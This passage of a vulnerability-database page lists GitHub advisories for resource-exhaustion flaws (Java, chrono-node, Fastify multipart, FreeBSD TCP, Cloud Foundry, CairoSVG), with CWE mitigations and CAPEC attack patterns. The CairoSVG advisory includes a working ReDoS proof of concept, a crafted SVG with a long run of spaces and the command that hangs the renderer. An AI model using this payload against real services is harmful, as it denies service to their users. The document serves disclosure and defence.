  "details": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking).  Supported versions that are affected are Oracle Java SE: 8u481-perf, 11.0.30, 17.0.18, 21.0.10, 25.0.2, 26; Oracle GraalVM for JDK: 17.0.18 and  21.0.10; Oracle GraalVM Enterprise Edition: 21.3.17. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-hpm9-74qx-6x32",
  "modified": "2026-06-30T03:36:21Z",
  "published": "2026-04-21T21:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34282"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34282.json"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460044"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-34282"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9694"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9693"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9691"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9689"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9688"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9687"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9686"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9256"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:9254"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22328"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11902"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11829"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11822"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11655"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11403"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HPMR-G4PQ-JHGP

Vulnerability from github – Published: 2021-05-06 15:58 – Updated: 2021-04-23 18:47

Summary

Denial of service in chrono-node

Details

This affects the package chrono-node before 2.2.4. It hangs on a date-like string with lots of embedded spaces.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "chrono-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-13T21:50:04Z",
    "nvd_published_at": "2021-04-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects the package chrono-node before 2.2.4. It hangs on a date-like string with lots of embedded spaces.",
  "id": "GHSA-hpmr-g4pq-jhgp",
  "modified": "2021-04-23T18:47:21Z",
  "published": "2021-05-06T15:58:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23371"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wanasit/chrono/issues/382"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wanasit/chrono/commit/98815b57622443b5c498a427210ebd603d705f4c"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-CHRONONODE-1083228"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in chrono-node"
}

GHSA-HPP2-2CR5-PF6G

Vulnerability from github – Published: 2023-02-14 21:49 – Updated: 2023-02-14 21:49

Summary

Denial of service due to unlimited number of parts

Details

Impact

The multipart body parser accepts an unlimited number of file parts.
The multipart body parser accepts an unlimited number of field parts.
The multipart body parser accepts an unlimited number of empty parts as field parts.

Patches

This is fixed in v7.4.1 (for Fastify v4.x) and v6.0.1 (for Fastify v3.x).

Workarounds

There are no known workaround.

References

Reported at https://hackerone.com/reports/1816195.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/multipart"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/multipart"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-14T21:49:55Z",
    "nvd_published_at": "2023-02-14T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n* The multipart body parser accepts an unlimited number of file parts.\n* The multipart body parser accepts an unlimited number of field parts.\n* The multipart body parser accepts an unlimited number of empty parts as field\nparts.\n\n\n### Patches\n\nThis is fixed in v7.4.1 (for Fastify v4.x) and v6.0.1 (for Fastify v3.x).\n\n### Workarounds\n\nThere are no known workaround.  \n\n### References\n\nReported at https://hackerone.com/reports/1816195.",
  "id": "GHSA-hpp2-2cr5-pf6g",
  "modified": "2023-02-14T21:49:55Z",
  "published": "2023-02-14T21:49:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-multipart/security/advisories/GHSA-hpp2-2cr5-pf6g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25576"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-multipart/commit/85be81bedf5b29cfd9fe3efc30fb5a17173c1297"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1816195"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify-multipart"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-multipart/releases/tag/v6.0.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-multipart/releases/tag/v7.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service due to unlimited number of parts"
}

GHSA-HPQ2-2FMQ-C95R

Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31

Details

One of the data structures that holds TCP segments in all versions of FreeBSD prior to 11.2-RELEASE-p1, 11.1-RELEASE-p12, and 10.4-RELEASE-p10 uses an inefficient algorithm to reassemble the data. This causes the CPU time spent on segment processing to grow linearly with the number of segments in the reassembly queue. An attacker who has the ability to send TCP traffic to a victim system can degrade the victim system's network performance and/or consume excessive CPU by exploiting the inefficiency of TCP reassembly handling, with relatively small bandwidth cost.

Severity

5.3 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-6922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-09T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "One of the data structures that holds TCP segments in all versions of FreeBSD prior to 11.2-RELEASE-p1, 11.1-RELEASE-p12, and 10.4-RELEASE-p10 uses an inefficient algorithm to reassemble the data. This causes the CPU time spent on segment processing to grow linearly with the number of segments in the reassembly queue. An attacker who has the ability to send TCP traffic to a victim system can degrade the victim system\u0027s network performance and/or consume excessive CPU by exploiting the inefficiency of TCP reassembly handling, with relatively small bandwidth cost.",
  "id": "GHSA-hpq2-2fmq-c95r",
  "modified": "2022-05-13T01:31:55Z",
  "published": "2022-05-13T01:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6922"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20180815-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.freebsd.org/security/advisories/FreeBSD-SA-18:08.tcp.asc"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105058"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041425"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HPW7-XRJW-4CX3

Vulnerability from github – Published: 2022-03-26 00:00 – Updated: 2022-04-05 00:01

Details

In cloud foundry CAPI versions prior to 1.122, a denial-of-service attack in which a developer can push a service broker that (accidentally or maliciously) causes CC instances to timeout and fail is possible. An attacker can leverage this vulnerability to cause an inability for anyone to push or manage apps.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-22100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-25T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In cloud foundry CAPI versions prior to 1.122, a denial-of-service attack in which a developer can push a service broker that (accidentally or maliciously) causes CC instances to timeout and fail is possible. An attacker can leverage this vulnerability to cause an inability for anyone to push or manage apps.",
  "id": "GHSA-hpw7-xrjw-4cx3",
  "modified": "2022-04-05T00:01:02Z",
  "published": "2022-03-26T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22100"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2021-22100-cloud-controller-is-vulnerable-to-denial-of-service-due-to-misbehaving-service-brokers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQ37-853P-G5CF

Vulnerability from github – Published: 2021-01-06 16:57 – Updated: 2024-09-13 17:42

Summary

Regular Expression Denial of Service in CairoSVG

Details

Doyensec Vulnerability Advisory

Regular Expression Denial of Service (REDoS) in cairosvg
Affected Product: CairoSVG v2.0.0+
Vendor: https://github.com/Kozea
Severity: Medium
Vulnerability Class: Denial of Service
Author(s): Ben Caller (Doyensec)

Summary

When processing SVG files, the python package CairoSVG uses two regular expressions which are vulnerable to Regular Expression Denial of Service (REDoS). If an attacker provides a malicious SVG, it can make cairosvg get stuck processing the file for a very long time.

Technical description

The vulnerable regular expressions are

https://github.com/Kozea/CairoSVG/blob/9c4a982b9a021280ad90e89707eacc1d114e4ac4/cairosvg/colors.py#L190-L191

The section between 'rgb(' and the final ')' contains multiple overlapping groups.

Since all three infinitely repeating groups accept spaces, a long string of spaces causes catastrophic backtracking when it is not followed by a closing parenthesis.

The complexity is cubic, so doubling the length of the malicious string of spaces makes processing take 8 times as long.

Reproduction steps

Create a malicious SVG of the form:

<svg width="1" height="1"><rect fill="rgb(                     ;"/></svg>

with the following code:

'<svg width="1" height="1"><rect fill="rgb(' + (' ' * 3456) + ';"/></svg>'

Note that there is no closing parenthesis before the semi-colon.

Run cairosvg e.g.:

cairosvg cairo-redos.svg -o x.png

and notice that it hangs at 100% CPU. Increasing the number of spaces increases the processing time with cubic complexity.

Remediation

Fix the regexes to avoid overlapping parts. Perhaps remove the [ \n\r\t]* groups from the regex, and use .strip() on the returned capture group.

Disclosure timeline

2020-12-30: Vulnerability disclosed via email to CourtBouillon

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "CairoSVG"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-01-06T16:57:38Z",
    "nvd_published_at": "2021-01-06T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "# Doyensec Vulnerability Advisory \n\n* Regular Expression Denial of Service (REDoS) in cairosvg\n* Affected Product: CairoSVG v2.0.0+\n* Vendor: https://github.com/Kozea\n* Severity: Medium\n* Vulnerability Class: Denial of Service\n* Author(s): Ben Caller ([Doyensec](https://doyensec.com))\n\n## Summary\n\nWhen processing SVG files, the python package CairoSVG uses two regular expressions which are vulnerable to Regular Expression Denial of Service (REDoS).\nIf an attacker provides a malicious SVG, it can make cairosvg get stuck processing the file for a very long time.\n\n## Technical description\n\nThe vulnerable regular expressions are\n\nhttps://github.com/Kozea/CairoSVG/blob/9c4a982b9a021280ad90e89707eacc1d114e4ac4/cairosvg/colors.py#L190-L191\n\nThe section between \u0027rgb(\u0027 and the final \u0027)\u0027 contains multiple overlapping groups.\n\nSince all three infinitely repeating groups accept spaces, a long string of spaces causes catastrophic backtracking when it is not followed by a closing parenthesis.\n\nThe complexity is cubic, so doubling the length of the malicious string of spaces makes processing take 8 times as long.\n\n## Reproduction steps\n\nCreate a malicious SVG of the form:\n\n    \u003csvg width=\"1\" height=\"1\"\u003e\u003crect fill=\"rgb(                     ;\"/\u003e\u003c/svg\u003e\n\nwith the following code:\n\n    \u0027\u003csvg width=\"1\" height=\"1\"\u003e\u003crect fill=\"rgb(\u0027 + (\u0027 \u0027 * 3456) + \u0027;\"/\u003e\u003c/svg\u003e\u0027\n\nNote that there is no closing parenthesis before the semi-colon.\n\nRun cairosvg e.g.:\n\n    cairosvg cairo-redos.svg -o x.png\n\nand notice that it hangs at 100% CPU. Increasing the number of spaces increases the processing time with cubic complexity.\n\n## Remediation\n\nFix the regexes to avoid overlapping parts. Perhaps remove the [ \\n\\r\\t]* groups from the regex, and use .strip() on the returned capture group.\n\n## Disclosure timeline\n\n- 2020-12-30: Vulnerability disclosed via email to CourtBouillon",
  "id": "GHSA-hq37-853p-g5cf",
  "modified": "2024-09-13T17:42:15Z",
  "published": "2021-01-06T16:57:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-hq37-853p-g5cf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/commit/cfc9175e590531d90384aa88845052de53d94bf3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/CairoSVG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/CairoSVG/releases/tag/2.5.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2021-5.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/CairoSVG"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Regular Expression Denial of Service in CairoSVG"
}

Mitigation

Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation

Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either:
The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
recognizes the attack and denies that user further access for a given amount of time, or
uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

Mitigation

Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation

Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list